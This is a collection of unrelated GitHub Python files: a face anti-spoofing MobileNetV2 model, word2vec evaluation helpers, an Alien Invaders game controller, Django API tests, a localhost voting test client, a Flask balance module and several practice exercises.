{"seq_id":"11046006528","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .conv2d_cd import Conv2d_cd\nfrom .dropout import Dropout\n\n__all__ = ['mobilenetv2']\n\ndef _make_divisible(v, divisor, min_value=None):\n    \"\"\"\n    This function is taken from the original tf repo.\n    It ensures that all layers have a channel number that is divisible by 8\n    It can be seen here:\n    https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet.py\n    :param v:\n    :param divisor:\n    :param min_value:\n    :return:\n    \"\"\"\n    if min_value is None:\n        min_value = divisor\n    new_v = max(min_value, int(v + divisor / 2) // divisor * divisor)\n    # Make sure that round down does not go down by more than 10%.\n    if new_v < 0.9 * v:\n        new_v += divisor\n    return new_v\n\ndef conv_3x3_bn(inp, oup, stride, theta):\n    return nn.Sequential(\n        Conv2d_cd(inp, oup, 3, stride, 1, bias=False, theta=theta),\n        nn.BatchNorm2d(oup),\n        nn.ReLU6(inplace=True)\n    )\n\ndef conv_3x3_in(inp, oup, stride, theta):\n    return nn.Sequential(\n        Conv2d_cd(inp, oup, 3, stride, 1, bias=False, theta=theta),\n        nn.InstanceNorm2d(oup),\n        nn.ReLU6(inplace=True)\n    )\n\ndef conv_1x1_bn(inp, oup):\n    return nn.Sequential(\n        nn.Conv2d(inp, oup, 1, 1, 0, bias=False),\n        nn.BatchNorm2d(oup),\n        nn.ReLU6(inplace=True)\n    )\n\ndef conv_1x1_in(inp, oup):\n    return nn.Sequential(\n        nn.Conv2d(inp, oup, 1, 1, 0, bias=False),\n        nn.InstanceNorm2d(oup),\n        nn.ReLU6(inplace=True)\n    )\n\n\nclass InvertedResidual(nn.Module):\n    def __init__(self, inp, oup, stride, expand_ratio,\n                 prob_dropout, type_dropout, sigma, mu, theta):\n        super().__init__()\n        assert stride in [1, 2]\n        hidden_dim = round(inp * expand_ratio)\n        self.identity = stride == 1 and inp == oup\n        self.dropout2d = Dropout(dist=type_dropout, sigma=sigma, mu=mu, p=prob_dropout)\n        if expand_ratio == 1:\n            self.conv = nn.Sequential(\n                # dw\n                Conv2d_cd(hidden_dim, hidden_dim, 3, stride, 1, groups=hidden_dim, bias=False, theta=theta),\n                nn.BatchNorm2d(hidden_dim),\n                nn.ReLU6(inplace=True),\n                # pw-linear\n                nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False),\n                nn.BatchNorm2d(oup),\n            )\n        else:\n            self.conv = nn.Sequential(\n                # pw\n                nn.Conv2d(inp, hidden_dim, 1, 1, 0, bias=False),\n                nn.BatchNorm2d(hidden_dim),\n                nn.ReLU6(inplace=True),\n                # dw\n                Conv2d_cd(hidden_dim, hidden_dim, 3, stride, 1, groups=hidden_dim, bias=False, theta=theta),\n                nn.BatchNorm2d(hidden_dim),\n                nn.ReLU6(inplace=True),\n                # pw-linear\n                nn.Conv2d(hidden_dim, oup, 1, 1, 0, bias=False),\n                nn.BatchNorm2d(oup),\n            )\n\n    def forward(self, x):\n        if self.identity:\n            return x + self.dropout2d(self.conv(x))\n        else:\n            return self.dropout2d(self.conv(x))\n\n\nclass MobileNetV2(nn.Module):\n    def __init__(self, width_mult=1., prob_dropout=0.1, type_dropout='bernoulli',\n                 prob_dropout_linear=0.5, embeding_dim=1280, mu=0.5, sigma=0.3,\n                 theta=0, multi_heads=True, scaling=1):\n        super().__init__()\n        # setting of inverted residual blocks\n        self.multi_heads = multi_heads\n        self.scaling = scaling\n        self.prob_dropout_linear = prob_dropout_linear\n        self.cfgs = [\n            # t, c, n, s\n            [1,  16, 1, 1],\n            [6,  24, 2, 2],\n            [6,  32, 3, 2],\n            [6,  64, 4, 2],\n            [6,  96, 3, 1],\n            [6, 160, 3, 2],\n            [6, 320, 1, 1],\n        ]\n\n        # building first layer\n        input_channel = _make_divisible(32 * width_mult, 4 if width_mult == 0.1 else 8)\n        layers = [conv_3x3_bn(3, input_channel, 2, theta=theta)]\n        # building inverted residual blocks\n        block = InvertedResidual\n        for t, c, n, s in self.cfgs:\n            output_channel = _make_divisible(c * width_mult, 4 if width_mult == 0.1 else 8)\n            for i in range(n):\n                layers.append(block(input_channel, output_channel,\n                                    s if i == 0 else 1, t,\n                                    prob_dropout=prob_dropout,\n                                    type_dropout=type_dropout,\n                                    mu=mu, sigma=sigma, theta=theta))\n                input_channel = output_channel\n        self.features = nn.Sequential(*layers)\n        # building last several layers\n        self.conv_last = conv_1x1_bn(input_channel, embeding_dim)\n        self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n        self.spoofer = nn.Linear(embeding_dim, 2)\n        if self.multi_heads:\n            self.lightning = nn.Linear(embeding_dim, 5)\n            self.spoof_type = nn.Linear(embeding_dim, 11)\n            self.real_atr = nn.Linear(embeding_dim, 40)\n\n    def forward(self, x):\n        x = self.features(x)\n        x = self.conv_last(x)\n        return x\n\n    def forward_to_onnx(self,x):\n        x = self.features(x)\n        x = self.conv_last(x)\n        x = self.avgpool(x)\n        x = x.view(x.size(0), -1)\n        spoof_out = self.spoofer(x)\n        if isinstance(spoof_out, tuple):\n            spoof_out = spoof_out[0]\n        probab = F.softmax(spoof_out*self.scaling, dim=-1)\n        return probab\n\n    def make_logits(self, features):\n        output = self.avgpool(features)\n        output = output.view(output.size(0), -1)\n        spoof_out = self.spoofer(output)\n        if self.multi_heads:\n            type_spoof = self.spoof_type(output)\n            lightning_type = self.lightning(output)\n            real_atr = torch.sigmoid(self.real_atr(output))\n            return spoof_out, type_spoof, lightning_type, real_atr\n        return spoof_out\n\n    def spoof_task(self, features):\n        output = self.avgpool(features)\n        output = output.view(output.size(0), -1)\n        spoof_out = self.spoofer(output)\n        return spoof_out\n\ndef mobilenetv2(**kwargs):\n    \"\"\"\n    Constructs a MobileNet V2 model\n    \"\"\"\n    return MobileNetV2(**kwargs)\n","repo_name":"tfygg/light-weight-face-anti-spoofing","sub_path":"models/mobilenetv2.py","file_name":"mobilenetv2.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"75358908839","text":"from code.skipgram import SkipGram\nfrom code.utils import get_test_set\nfrom sklearn.decomposition import PCA\nimport numpy as np\nimport copy\n\ndef evaluate_w2v(w2v, sentences):\n    \"\"\"\n    Parameters:\n    - w2v (SkipGram): Pre-trained SkipGram\n    - sentences (list): Clean evaluation data\n    Output:\n    - errors (np.array): MAE between predicted similarity and ground-truth\n    \"\"\"\n    # Get predictions and labels\n    predictions = np.array([simil(w2v, sent) for sent in sentences])\n    labels = np.array([float(sent[2]) for sent in sentences])\n\n    # Remove None\n    idx = np.where(predictions != None)\n\n    # Predictions and labels\n    predictions = predictions[idx]\n    labels = labels[idx]\n\n    # Compute mean error\n    errors = np.abs(predictions*10 - labels)\n\n    return(errors)\n\ndef pca_w2v(w2v, n_components):\n    \"\"\"\n    Apply PCA on the embeddings on a SkipGram object.\n    Parameters:\n    - w2v (SkipGram): Pre-trained SkipGram\n    - n_components (int): Number of components to keep\n    Output:\n    - new_w2v (SkipGram)\n    \"\"\"\n    new_w2v = copy.deepcopy(w2v)\n    pca = PCA(n_components)\n    new_w2v.w1 = pca.fit_transform(new_w2v.w1.T)\n    new_w2v.w1 = new_w2v.w1.T\n    return(new_w2v)\n\ndef most_similar(sg, word):\n    \"\"\"\n    Make it a static method\n    \"\"\"\n    results = {}\n    for w in sg.word2idx.keys():\n        results[w] = sg.similarity(word, w)\n\n    results = dict(sorted(results.items(), key=lambda x: x[1], reverse=True))\n\n    return(results)\n\ndef simil(w2v, sent):\n    try:\n        return(w2v.similarity(sent[0], sent[1]))\n    except:\n        return(None)\n","repo_name":"devitrylouis/word2vec_negative_sampling","sub_path":"modern_skipgram/code/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"32028913057","text":"\"\"\"\nSubcontroller module for Alien Invaders\n\nThis module contains the subcontroller to manage a single level or wave in\nthe Alien Invaders game.  Instances of Wave represent a single wave. Whenever\nyou move to a new level, you are expected to make a new instance of the class.\n\nThe subcontroller Wave manages the ship, the aliens and any laser bolts on\nscreen. These are model objects.  Their classes are defined in models.py.\n\nMost of your work on this assignment will be in either this module or\nmodels.py. Whether a helper method belongs in this module or models.py is\noften a complicated issue.  If you do not know, ask on Piazza and we will\nanswer.\n\nLuke Griffiths lsg84\nOana Mirestean oam34\n12 December 2019\n\"\"\"\nfrom game2d import *\nfrom consts import *\nfrom models import *\nimport random\n\n# PRIMARY RULE: Wave can only access attributes in models.py via getters/setters\n# Wave is NOT allowed to access anything in app.py (Subcontrollers are not\n# permitted to access anything in their parent. To see why, take CS 3152)\n\n\nclass Wave(object):\n    \"\"\"\n    This class controls a single level or wave of Alien Invaders.\n\n    This subcontroller has a reference to the ship, aliens, and any laser bolts\n    on screen. It animates the laser bolts, removing any aliens as necessary.\n    It also marches the aliens back and forth across the screen until they are\n    all destroyed or they reach the defense line (at which point the player\n    loses). When the wave is complete, you  should create a NEW instance of\n    Wave (in Invaders) if you want to make a new wave of aliens.\n\n    If you want to pause the game, tell this controller to draw, but do not\n    update.  See subcontrollers.py from Lecture 24 for an example.  This\n    class will be similar to than one in how it interacts with the main class\n    Invaders.\n\n    All of the attributes of this class are to be hidden. You may find that\n    you want to access an attribute in class Invaders. It is okay if you do,\n    but you MAY NOT ACCESS THE ATTRIBUTES DIRECTLY. You must use a getter\n    and/or setter for any attribute that you need to access in Invaders.\n    Only add the getters and setters that you need for Invaders. You can keep\n    everything else hidden.\n\n    \"\"\"\n    # HIDDEN ATTRIBUTES:\n    # Attribute _ship: the player ship to control\n    # Invariant: _ship is a Ship object or None\n    #\n    # Attribute _aliens: the 2d list of aliens in the wave\n    # Invariant: _aliens is a rectangular 2d list containing Alien objects or None\n    #\n    # Attribute _bolts: the laser bolts currently on screen\n    # Invariant: _bolts is a list of Bolt objects, possibly empty\n    #\n    # Attribute _dline: the defensive line being protected\n    # Invariant : _dline is a GPath object\n    #\n    # Attribute _lives: the number of lives left\n    # Invariant: _lives is an int >= 0\n    #\n    # Attribute _time: the amount of time since the last Alien \"step\"\n    # Invariant: _time is a float >= 0s\n    #\n    # You may change any attribute above, as long as you update the invariant\n    # You may also add any new attributes as long as you document them.\n    # LIST MORE ATTRIBUTES (AND THEIR INVARIANTS) HERE IF NECESSARY\n    #Attribute _direction: specifies the direction in which the aliens are traveling\n    #Invariant: _direction is an int >= -2 and int<= 2\n    #\n    #Attribute _steps: the randomized number of steps the aliens take before shooting\n    #Invariant: _steps is an int >= 1 and int <= BOLT_RATE\n    #\n    #Attribute _blast1: the sound for when an alien is destroyed\n    #Invariant: _blast1 is a .wav file\n    #\n    #Attribute _blast2: the sound for when an ship is destroyed\n    #Invariant: _blast2 is a .wav file\n    #\n    #Attribute _pew1: the sound for when an ship blast is fired\n    #Invariant: _pew1 is a .wav file\n    #\n    #Attribute _pew2: the sound for when an alien blast is fired\n    #Invariant: _pew2 is a .wav file\n    #\n    #Attribute _rogue: an alien object that is a rogue\n    #Invariant: _rogue is a GObject\n\n    # GETTERS AND SETTERS (ONLY ADD IF YOU NEED THEM)\n    def getLives(self):\n        return self._lives\n\n    def setLives(self, decrease):\n        self._lives = self._lives - decrease\n\n    # INITIALIZER (standard form) TO CREATE SHIP AND ALIENS\n    def __init__(self):\n        \"\"\"\n        Initializes the ship, aliens, bolts, and dline.\n        \"\"\"\n        self._ship = Ship(x = GAME_WIDTH//2, y = SHIP_BOTTOM+SHIP_HEIGHT//2,\n        source = 'ship.png')\n        self._aliens = []\n        self.draw_table()\n        self._direction = 1\n        self._time = 0\n        self._steps = random.randint(1,BOLT_RATE)\n        self._dline = GPath(points = [0,DEFENSE_LINE,GAME_WIDTH,DEFENSE_LINE],\n        linewidth = 1,linecolor = 'gray')\n        self._bolts = []\n        self._blast1 = Sound('blast1.wav')\n        self._pew1 = Sound('pew1.wav')\n        self._blast2 = Sound('blast2.wav')\n        self._pew2 = Sound('pew2.wav')\n        self._lives = 3\n\n\n    # UPDATE METHOD TO MOVE THE SHIP, ALIENS, AND LASER BOLTS\n    def update(self,input,dt):\n        \"\"\"\n        Update method for everything in Wave.\n        \"\"\"\n        self.ship_update(input)\n        self.bolt_update(input)\n        self.collision()\n        self.shipcollision()\n        if not self.player_won():\n            if self._time > ALIEN_SPEED:\n                self.alien_update()\n                self._time = 0\n                if self._steps == 0:\n                    alien = self.random_alien()\n                    self._bolts.append(Bolt(x = alien.x, y = alien.y,\n                    vel = -BOLT_SPEED))\n                    self._pew2.play()\n                    self._steps = random.randint(1,BOLT_RATE)\n                else:\n                    self._steps = self._steps -1\n            else:\n                self._time = self._time + dt\n\n    # DRAW METHOD TO DRAW THE SHIP, ALIENS, DEFENSIVE LINE AND BOLTS\n    def draw(self, view):\n        \"\"\"\n        Draws the game objects.\n\n        Every single thing you want to draw in this game is a GObject.\n\n        Many of the GObjects (such as the ships, aliens, and bolts) are\n        attributes in Wave. In order to draw them, you either need to add\n        getters for these attributes or you need to add a draw method to\n        class Wave.  We suggest the latter.  See the example subcontroller.py\n        from class.\n        \"\"\"\n        for alienrows in self._aliens:\n            for alien in alienrows:\n                if alien != None:\n                    alien.draw(view)\n        self._ship.draw(view)\n        self._dline.draw(view)\n        for bolt in self._bolts:\n            bolt.draw(view)\n\n    def draw_table(self):\n        \"\"\"\n        Creates a table of aliens according to the given constants.\n        Table is built from bottom to top.\n        \"\"\"\n        x = 0\n        y = GAME_HEIGHT - ALIEN_CEILING - (ALIEN_ROWS * (ALIEN_V_SEP + ALIEN_HEIGHT))\n        alien_type = 0\n        image = ALIEN_IMAGES[alien_type]\n        for m in range(1, ALIEN_ROWS + 1):\n            columns = []\n            for n in range(ALIENS_IN_ROW):\n                if n == 0:\n                    x = ALIEN_H_SEP + ALIEN_WIDTH//2\n                    y = y + ALIEN_HEIGHT//2\n                    columns.append(Alien(x = x , y = y , source = ALIEN_IMAGES[alien_type]))\n                else:\n                    x = x + ALIEN_H_SEP + ALIEN_WIDTH\n                    columns.append(Alien(x = x, y = y , source = ALIEN_IMAGES[alien_type]))\n            if m % 2 == 0:\n                alien_type = alien_type + 1\n                alien_type = alien_type % 3\n            self._aliens.append(columns)\n            y = y + ALIEN_HEIGHT + ALIEN_V_SEP\n\n    def ship_update(self, input):\n        \"\"\"\n        Method for updating the ship. Called by update.\n        \"\"\"\n        da = 0\n        if input.is_key_down('right'):\n            da += SHIP_MOVEMENT\n        if input.is_key_down('left'):\n            da -= SHIP_MOVEMENT\n        newpos = self._ship.x + da\n        # if newpos > GAME_WIDTH:\n        #     newpos = GAME_WIDTH             #Ship does not wrap-around screen\n        # if newpos < 0:\n        #     newpos = 0\n        if newpos > GAME_WIDTH:\n            newpos = 0\n        if newpos < 0:\n            newpos = GAME_WIDTH                     #Ship may wrap-around screen\n        self._ship.x = newpos\n\n    def alien_update(self):\n        \"\"\"\n        Method for updating the aliens. Called by update.\n        \"\"\"\n        lowest = self.lowest_alien()\n        if lowest > DEFENSE_LINE + ALIEN_HEIGHT//2:\n            rightmost = self.right_alien()\n            leftmost = self.left_alien()\n            if (rightmost >= GAME_WIDTH - ALIEN_WIDTH // 2 - ALIEN_H_SEP and\n            self._direction == 1):\n                self._direction = 2\n                self.alien_down()\n            elif leftmost <= ALIEN_WIDTH // 2 + ALIEN_H_SEP and self._direction  == -1:\n                self._direction = -2\n                self.alien_down()\n            elif self._direction == -2:\n                self.alien_right()\n            elif rightmost < GAME_WIDTH - ALIEN_WIDTH // 2 - ALIEN_H_SEP and self._direction == 1:\n                self.alien_right()\n            elif self._direction == 2:\n                self.alien_left()\n            elif leftmost > ALIEN_WIDTH // 2 + ALIEN_H_SEP and self._direction == -1:\n                self.alien_left()\n\n    def alien_right(self):\n        \"\"\"\n        Moves the aliens to the right.\n        \"\"\"\n        for alien_col in self._aliens:\n            for alien in alien_col:\n                if alien != None:\n                    alien.x = alien.x + ALIEN_H_WALK\n\n    def alien_left(self):\n        \"\"\"\n        Moves the aliens to the left.\n        \"\"\"\n        for alien_col in self._aliens:\n            for alien in alien_col:\n                if alien != None:\n                    alien.x = alien.x - ALIEN_H_WALK\n\n    def alien_down(self):\n        \"\"\"\n        Moves the aliens down.\n        \"\"\"\n        for alien_col in self._aliens:\n            for alien in alien_col:\n                if alien != None:\n                    alien.y = alien.y - ALIEN_V_WALK\n        if self._direction == 2:\n            self._direction = -1\n        elif self._direction == -2:\n            self._direction = 1\n\n    def right_alien(self):\n        \"\"\"\n        Finds the righmost point of the rightmost alien and returns the value.\n        \"\"\"\n        max = 0\n        for alien_col in self._aliens:\n            for alien in alien_col:\n                if alien != None:\n                    x = alien.x\n                    if x >= max:\n                        max = x\n        return max\n\n    def left_alien(self):\n        \"\"\"\n        Finds the leftmost value of the leftmost alien and returns the value.\n        \"\"\"\n        min = GAME_WIDTH -1\n        for alien_col in self._aliens:\n            for alien in alien_col:\n                if alien != None:\n                    x = alien.x\n                    if x <= min:\n                        min = x\n        return min\n\n    def lowest_alien(self):\n        \"\"\"\n        Finds the lowest alien and returns the y-value.\n        \"\"\"\n        lowest = GAME_HEIGHT\n        for alien_col in self._aliens:\n            for alien in alien_col:\n                if alien != None:\n                    y = alien.y\n                    if y <= lowest:\n                        lowest = y\n        return lowest\n\n    def bolt_update(self, input):\n        \"\"\"\n        Updates the bolts.\n        \"\"\"\n        if input.is_key_down('spacebar') and self.num_player_bolts() < 1:\n            self._bolts.append(Bolt(x = self._ship.x, y = BOLT_HEIGHT//2 + SHIP_HEIGHT\n            + SHIP_BOTTOM, vel = BOLT_SPEED))\n            self._pew1.play()\n        self.player_bolt()\n        self.alien_bolt()\n\n    def player_bolt(self):\n        \"\"\"\n        Method for updating bolts fired by the player.\n        \"\"\"\n        for i in range(len(self._bolts)):\n            if self._bolts[i].isPlayerBolt():\n                self._bolts[i].y += BOLT_SPEED\n        i = 0\n        while i < len(self._bolts):\n            if (self._bolts[i].y - BOLT_HEIGHT//2) > GAME_HEIGHT:\n                del self._bolts[i]\n            else:\n                i += 1\n\n    def alien_bolt(self):\n        \"\"\"\n        Method for updating bolts fired by the aliens.\n        \"\"\"\n        for i in range(len(self._bolts)):\n            if self._bolts[i].isPlayerBolt() == False:\n                self._bolts[i].y -= BOLT_SPEED\n        i = 0\n        while i < len(self._bolts):\n            if (self._bolts[i].y + BOLT_HEIGHT//2) < 0:\n                del self._bolts[i]\n            else:\n                i += 1\n\n    def num_player_bolts(self):\n        \"\"\"\n        Returns the number of player bolts in the list.\n        \"\"\"\n        num = 0\n        for i in self._bolts:\n            if i.getVelocity() > 0:\n                num = num + 1\n        w = num\n        num = 0\n        return w\n\n    def random_alien(self):\n        \"\"\"\n        Finds the random alien to fire the bolt.\n        \"\"\"\n        current_aliens = []\n        for s in range(ALIENS_IN_ROW):\n            no_col_alien = True\n            for t in range(ALIEN_ROWS):\n                if self._aliens[t][s] is not None and no_col_alien:\n                    current_aliens += [self._aliens[t][s]]\n                    no_col_alien = False\n        return random.choice(current_aliens)\n\n    def collision(self):\n        \"\"\"\n        Removes alien if hit by ship bolt\n        \"\"\"\n        for bolt in self._bolts:\n            for row in range(len(self._aliens)):\n                for alien in range(ALIENS_IN_ROW):\n                    if self._aliens[row][alien] != None:\n                        if self._aliens[row][alien].collides(bolt) and bolt.isPlayerBolt():\n                            self._aliens[row][alien] = None\n                            self._blast1.play()\n                            self._bolts.remove(bolt)\n\n    def shipcollision(self):\n        \"\"\"\n        Ship loses life if hit by alien bolt\n        \"\"\"\n        for bolt in self._bolts:\n            if self._ship.shipcollides(bolt):\n                self._blast2.play()\n                self._bolts.remove(bolt)\n                self.setLives(1)\n        if self.lowest_alien() <= DEFENSE_LINE + ALIEN_HEIGHT//2:\n            self.setLives(3)\n\n    def player_won(self):\n        \"\"\"\n        returns True if the player has won the game\n        \"\"\"\n        acc = 0\n        for x in self._aliens:\n            for y in x:\n                if y is not None:\n                    acc += 1\n        if acc == 0:\n            return True\n        else:\n            return False\n\n    # HELPER METHODS FOR COLLISION DETECTION\n","repo_name":"luke-griffiths/invaders","sub_path":"invaders/wave.py","file_name":"wave.py","file_ext":"py","file_size_in_byte":14584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"74920561638","text":"from rest_framework import status\nfrom rest_framework.reverse import reverse_lazy\nfrom rest_framework.test import APITestCase\n\nfrom store.models import Book\nfrom store.serializers import BooksSerializer\nfrom store.tests.factories import BookFactory\n\n\nclass LogicTestCase(APITestCase):\n\n    def setUp(self):\n        self.book_1 = BookFactory(name='Book 1', price=25, author_name='Author 1')\n        self.book_2 = BookFactory(name='Book 2', price=55, author_name='Author 5')\n        self.book_3 = BookFactory(name='Book Author 1', price=55, author_name='Author 2')\n\n    def test_list_01_url_exists_at_desired_location(self):\n        response = self.client.get('/api/v1/book/')\n        self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n    def test_list_02_url_accessible_by_name(self):\n        response = self.client.get(reverse_lazy('store:book-list'))\n        self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n    def test_list_03_get(self):\n        books = Book.objects.all()\n        serializer_data = BooksSerializer(books, many=True).data\n        response = self.client.get(reverse_lazy('store:book-list'))\n        self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n        self.assertEqual(serializer_data, response.data)\n\n    def test_list_04_filter(self):\n        serializer_data = BooksSerializer([self.book_2, self.book_3], many=True).data\n        response = self.client.get(reverse_lazy('store:book-list'), data={'price': '55.00'})\n        self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n        self.assertEqual(serializer_data, response.data)\n\n    def test_list_05_search(self):\n        serializer_data = BooksSerializer([self.book_1, self.book_3], many=True).data\n        response = self.client.get(reverse_lazy('store:book-list'), data={'search': 'Author 1'})\n        self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n        self.assertEqual(serializer_data, response.data)\n\n    def test_list_06_ordering(self):\n        books = Book.objects.order_by('-price').all()\n        serializer_data = BooksSerializer(books, many=True).data\n        response = self.client.get(reverse_lazy('store:book-list'), data={'ordering': '-price'})\n        self.assertEqual(status.HTTP_200_OK, response.status_code)\n\n        self.assertEqual(serializer_data, response.data)\n","repo_name":"IvanGorbunov/books_vue","sub_path":"books_app/store/tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33025520320","text":"import numpy as np\nclass Solution:\n    def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n        i = 0\n        intervals.sort()\n        while(i < len(intervals)-1):\n            s1,e1 = intervals[i]\n            s2, e2 = intervals[i+1]\n            if(s2<=e1 and e2>=s1):\n                intervals[i] = [min(s1,s2),max(e1,e2)]\n                intervals.pop(i+1)\n            else:\n                i += 1\n        return intervals","repo_name":"MohsinTariq10/leetcode","sub_path":"arrays/ Merge Intervals.py","file_name":" Merge Intervals.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"12209321239","text":"import socket\nimport random\n\nhost_ip, server_port = \"127.0.0.1\",1234 \n\n# Initialize a TCP client socket using SOCK_STREAM\nrandom_voters = [\"shahid\",\"mussadiq\",\"iszhan\",\"rem\",\"zero two\",\n        \"zafar\",\"nazneen\"]\n\nfor i in range(100):\n    try:\n        tcp_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        numVote = random.randint(1,4);\n        data = str(random.choice(random_voters))+'\\n'+str(numVote)+'\\n'\n        # Establish connection to TCP server and exchange data\n        tcp_client.connect((host_ip, server_port))\n        tcp_client.sendall(data.encode())\n\n        # Read data from the TCP server and close the connection\n    finally:\n        tcp_client.close()\n\n\n","repo_name":"zohaib2k2/CRVotingServer","sub_path":"crserver-client.py","file_name":"crserver-client.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"70570572840","text":"# Tennis Ranklist\r\nfrom math import floor\r\n\r\n\r\n# Брой турнири, в които е участвал – цяло число в интервала [1…20]\r\n# Начален брой точки в ранглистата - цяло число в интервала [1...4000]\r\n# За всеки турнир се прочита отделен ред:\r\n# Достигнат етап от турнира – текст – \"W\", \"F\" или \"SF\"\r\n\r\nnumber_of_challenges = int(input())\r\ninitial_points = int(input())\r\n\r\npoints = 0\r\nwins = 0\r\n\r\nx = 0\r\nwhile x < number_of_challenges:\r\n    x += 1\r\n    challenge_stage = input()\r\n    if challenge_stage == \"W\":\r\n        wins += 1\r\n        points += 2000\r\n    elif challenge_stage == \"F\":\r\n        points += 1200\r\n    elif challenge_stage == \"SF\":\r\n        points += 720\r\n\r\nfinal_points = points + initial_points\r\naverage_points = points / x\r\npercent_wins = (wins / x) * 100\r\nprint(f\"Final points: {final_points}\")\r\nprint(f\"Average points: {floor(average_points) :.0f}\")\r\nprint(f\"{percent_wins :.2f}%\")\r\n","repo_name":"pySin/SoftUni-Software-Engineering","sub_path":"Python-Programming-Basics/exams/tenis_ranklist.py","file_name":"tenis_ranklist.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"bg","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30533641509","text":"from respect_validation.Exceptions import ValidationException\n\n\nclass PolishIdCardException(ValidationException):\n\n    _default_templates = {\n        'default': {\n            'standard': '{name} must be a valid Polish Identity Card number',\n        },\n        'negative': {\n            'standard': '{name} must not be a valid Polish Identity Card number',\n        }\n    }\n","repo_name":"gurkin33/respect_validation","sub_path":"respect_validation/Exceptions/PolishIdCardException.py","file_name":"PolishIdCardException.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
{"seq_id":"13524314290","text":"from flask import render_template, redirect, url_for, flash, request\nfrom flask_login import current_user, login_user, logout_user\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import ValidationError, DataRequired\nfrom datetime import date\nfrom .models.balance import Balance, Update_balance\n\nfrom flask import Blueprint\nbp = Blueprint('balance', __name__)\n\n\nclass balance_topup(FlaskForm):\n\tamount = StringField('amount', validators=[DataRequired()])\n\tsubmit = SubmitField('Top up')\n\nclass balance_withdraw(FlaskForm):\n\tamount = StringField('amount', validators=[DataRequired()])\n\tsubmit = SubmitField('Withdraw')\n\t\n\n@bp.route('/my-balance')\ndef my_balance():\n\tbalance_info = Balance.get(current_user.id)\n\tbalance_info_all = Balance.get_all(current_user.id)\n\n\treturn render_template('customer_my_balance.html', balance_info=balance_info, balance_info_all=balance_info_all)\n\n\n@bp.route('/my-balance/withdraw', methods=('GET', 'POST'))\ndef my_balance_withdraw():\n\tbalance_info = Balance.get(current_user.id)\n\n\tform = balance_withdraw()\n\tif form.validate_on_submit():\n\t\ttrans_date = date.today()\n\t\tuser_id = current_user.id\n\t\ttrans = form.amount.data\n\t\ttrans_description = 'Withdraw from bank account'\n\t\tbalance = float(balance_info.balance) - float(trans)\n\t\tif balance < 0:\n\t\t\tflash('Withdrawal fail! (You can withdraw up to the available balance)')\n\t\t\treturn redirect(url_for('balance.my_balance_withdraw'))\n\n\t\telse:\n\t\t\tUpdate_balance.insert(trans_date, user_id, -float(trans), trans_description, balance)\n\t\t\tbalance_info = Balance.get(current_user.id)\n\t\t\t\n\t\t\tflash('Withdrawal successful!')\n\t\t\treturn render_template('customer_my_balance_withdraw.html', balance_info = balance_info, form=form)\n\n\treturn render_template('customer_my_balance_withdraw.html', balance_info = balance_info, form=form)\n\n\n@bp.route('/my-balance/topup', methods=('GET', 'POST'))\ndef my_balance_topup():\n\tbalance_info = Balance.get(current_user.id)\n\n\tform = balance_topup()\n\tif form.validate_on_submit():\n\t\ttrans_date = date.today()\n\t\tuser_id = current_user.id\n\t\ttrans = form.amount.data\n\t\tbalance = float(balance_info.balance) + float(trans)\n\t\ttrans_description ='Deposit from bank account'\n\t\t\n\t\tUpdate_balance.insert(trans_date, user_id, trans, trans_description, balance)\n\t\tbalance_info = Balance.get(current_user.id)\n\n\t\tflash('Topup successful!')\n\n\t\treturn render_template('customer_my_balance_topup.html', balance_info = balance_info, form=form)\n\n\treturn render_template('customer_my_balance_topup.html', balance_info = balance_info, form=form)\n","repo_name":"linzhao0351/Mini-Amazon","sub_path":"app/balance.py","file_name":"balance.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72976841959","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def deleteDuplicates(self, head: Optional[ListNode]) -> Optional[ListNode]:\n        if not head: return None\n        root = head\n        head = prev = ListNode(-101,root)     \n        while root and root.next:\n            looped = False\n            while root.next and root.val == root.next.val: \n                root.next = root.next.next\n                looped = True\n            if looped:\n                prev.next = root.next\n                root = prev\n                \n            prev = root\n            root = root.next\n        \n        return head.next\n            \n        ","repo_name":"benj35/competitve-programming-2","sub_path":"82-remove-duplicates-from-sorted-list-ii/82-remove-duplicates-from-sorted-list-ii.py","file_name":"82-remove-duplicates-from-sorted-list-ii.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
